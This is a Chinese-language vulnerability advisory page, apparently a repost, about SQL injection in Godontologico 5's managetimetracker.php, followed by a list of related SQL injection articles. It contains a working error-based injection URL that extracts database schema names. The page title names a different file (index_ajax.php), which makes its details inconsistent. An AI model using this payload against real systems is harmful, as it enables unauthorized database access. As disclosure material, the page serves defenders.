ajax提交sql注入,Godontologico '/index

发布日期：2014-01-23

更新日期：2014-01-27

受影响系统：

sourceforge Godontologico 5

描述：

--------------------------------------------------------------------------------

BUGTRAQ ID: 65093

Godontologico是临床研究相关软件。

Godontologico 5及其他版本没有有效过滤managetimetracker.php内参数值的有效性，在实现上存在SQL注入漏洞，成功利用后可导致未授权数据库操作。

链接：http://www.exploit-db.com/exploits/31141/

测试方法：

--------------------------------------------------------------------------------

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/collabtive/managetimetracker.php?action=projectpdf&id=2 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

建议：

--------------------------------------------------------------------------------

厂商补丁：

sourceforge

-----------

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

ajax提交sql注入,Godontologico '/index_ajax.php' SQL注入漏洞相关推荐

SQL注入1-5_cookie基于base64的注入
SQL注入1-5_cookie基于base64的注入 1.提交参数 2,代理抓包点击forward,看看有没有cooike 还是没有,继续fowrword 出来了,可以看见他是基于base64加密的数 ...
pythonsql注入步骤_防止SQL注入解决方案
SQL注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.对于很多网站都有用户提交表单的端口,提交的数据插入MySQL数据库中,就有可 ...
mysql注入式攻击_mybatis的sql中使用$会出现sql注入示例
mybatis的sql中使用$会出现sql注入示例: 模拟简单登录场景: 页面代码: functionlogin(){//sql注入 var user ={ username :"'李雪雷3 ...
SQL注入分类，一看你就明白了。SQL注入点/SQL注入类型/SQL注入有几种/SQL注入点分类
「作者主页」:士别三日wyx 「作者简介」:CSDN top200.阿里云博客专家.华为云享专家.网络安全领域优质创作者 SQL注入分类一.数值型注入二.字符型注入 1)单引号字符型注入 2)双引 ...
SQL注入学习part07：(SQL注入语句总结）
写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) SQL注入学习part07 整数型和字符型整数型字符型 ...
什么是sql注入，怎么防止SQL注入？
防止SQL注入什么是SQL注入? 用户提交带有恶意的数据与SQL语句进行字符串方式的拼接,从而影响了SQL语句的语义,最终产生数据泄露的现象如何防止SQL注入? SQL语句参数化 SQL语言中的 ...
什么是SQL注入？怎么解决SQL注入？
SQL注入就是一些攻击者把SQL命令插入到web表单的输入或者页面的url中,欺骗服务器执行恶意的SQL语句.在某些表单中,用户输入的内容直接用来构造或者影响动态SQL命令,或者作为存储过程的输入参数 ...
SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入
加密注入.二次漏洞注入.DNSlog注入加密注入: 什么是加密注入??下面将由一个例子阐述: 以sqlilabs-less-21为例 1.在登录界面输入账户密码提交抓包 2.在抓到这条数据,将uma ...
asp.net 全局sql注入处理 sql关键字过滤 global过滤sql
asp.net 全局sql注入处理 sql关键字过滤 global //当前请求对象private HttpRequest request;//当前响应对象private HttpResponse r ...
SQL注入8之其他类型注入
免责声明该文章仅用于信息防御技术的交流和学习,请勿用于其他用途: 在未得到网站授权前提下,禁止对政府.事业单位.企业或其他单位网站及系统进行渗透测试:技术是把双刃剑,请遵纪守法,做一名合格的白帽子安 ...

ajax提交sql注入,Godontologico '/index_ajax.php' SQL注入漏洞

ajax提交sql注入,Godontologico '/index_ajax.php' SQL注入漏洞相关推荐

最新文章

热门文章